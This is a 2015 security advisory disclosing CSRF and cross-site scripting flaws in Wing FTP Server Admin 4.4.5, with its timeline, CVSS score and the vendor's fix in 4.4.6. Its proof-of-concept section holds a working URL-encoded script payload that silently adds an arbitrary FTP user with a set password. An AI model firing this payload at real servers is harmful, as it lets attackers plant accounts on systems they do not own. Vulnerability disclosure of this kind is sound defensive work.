Wing FTP Server Admin 4.4.5 - CSRF & Cross Site Scripting Vulnerabilities
2015-04-28
http://hyp3rlinx.altervista.org/advisories/AS-WFTP0328.txt
Overall CVSS Score 8.9
Wing FTP Server is a Web based administration FTP client that supports following protocols FTP, FTPS, HTTPS, SSH
CSRF & client-side cross site scripting web vulnerability within Wing FTP Server Admin that allows adding arbitrary users to the system.
March 28, 2015: Vendor Notification
March 28, 2015: Vendor Response/Feedback
April 19, 2015: Vendor Notification
April 28, 2015: Vendor released new version 4.4.6
April 28, 2015: Public Disclosure - John Page
Wing FTP Server Admin 4.4.5
Product: Wing FTP Server - Admin
Remote
High
Request Method(s):
[+] POST & GET
Vulnerable Product:
[+] Wing FTP Server Admin <= 4.4.5
Vulnerable Parameter(s):
[+] domain & type
Affected Area(s):
[+] Server Admin
The CSRF and client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged application user account and with low user interaction (click). Payload will add arbitrary users to the system.
PoC: Example
http://localhost:5466/admin_loglist.html?domain=[CSRF & XSS VULNERABILITIES]
POC: Add arbitrary user:
http://localhost:5466/admin_loglist.html?domain=%3Cscript%3EajaxRequest%28%27admin_adduser%27,%22domain%3dtest%26user%3d{%27username%27%3a%27hyp3rlinx%27,%27password%27%3a%27kuQrwgV%27,%27oldpassword%27%3a%27%27,%27max_download%27%3a%270%27,%27max_upload%27%3a%270%27,%27max_download_account%27%3a%270%27,%27max_upload_account%27%3a%270%27,%27max_connection%27%3a%270%27,%27connect_timeout%27%3a%275%27,%27idle_timeout%27%3a%275%27,%27connect_per_ip%27%3a%270%27,%27pass_length%27%3a%270%27,%27show_hidden_file%27%3a0,%27change_pass%27%3a0,%27send_message%27%3a0,%27ratio_credit%27%3a%270%27,%27ratio_download%27%3a%271%27,%27ratio_upload%27%3a%271%27,%27ratio_count_method%27%3a0,%27enable_ratio%27%3a0,%27current_quota%27%3a%270%27,%27max_quota%27%3a%270%27,%27enable_quota%27%3a0,%27note_name%27%3a%27%27,%27note_address%27%3a%27%27,%27note_zip%27%3a%27%27,%27note_phone%27%3a%27%27,%27note_fax%27%3a%27%27,%27note_email%27%3a%27%27,%27note_memo%27%3a%27%27,%27ipmasks%27%3a[],%27filemas
ks%27%3a[],%27directories%27%3a[],%27usergroups%27%3a[],%27subdir_perm%27%3a[],%27enable_schedule%27%3a0,%27schedules%27%3a[],%27limit_reset_type%27%3a%270%27,%27limit_enable_upload%27%3a0,%27cur_upload_size%27%3a%270%27,%27max_upload_size%27%3a%270%27,%27limit_enable_download%27%3a0,%27cur_download_size%27%3a%270%27,%27max_download_size%27%3a%270%27,%27enable_expire%27%3a0,%27expiretime%27%3a%272015-05-18%2021%3a17%3a46%27,%27protocol_type%27%3a63,%27enable_password%27%3a1,%27enable_account%27%3a1,%27ssh_pubkey_path%27%3a%27%27,%27enable_ssh_pubkey_auth%27%3a0,%27ssh_auth_method%27%3a0}%22,%20%22post%22%29%3C/script%3E
POC XSS:
http://localhost:5466/admin_viewstatus.html?domain=[XSS VECTOR]
POC XSS:
http://localhost:5466/admin_event_list.html?type=[XSS VECTOR]
Vendor released updated version 4.4.6 Fix/Patch (Wing FTP Server)
The security risk of the CSRF client-side cross site scripting web vulnerability in the `domain` admin_loglist.html value has CVSS Score of 8.9
John Page ( hyp3rlinx ) @apparitionsec
The information provided in this advisory is provided as it is without any warranty. the security research reporter John Page disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. apparitionsec or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages.
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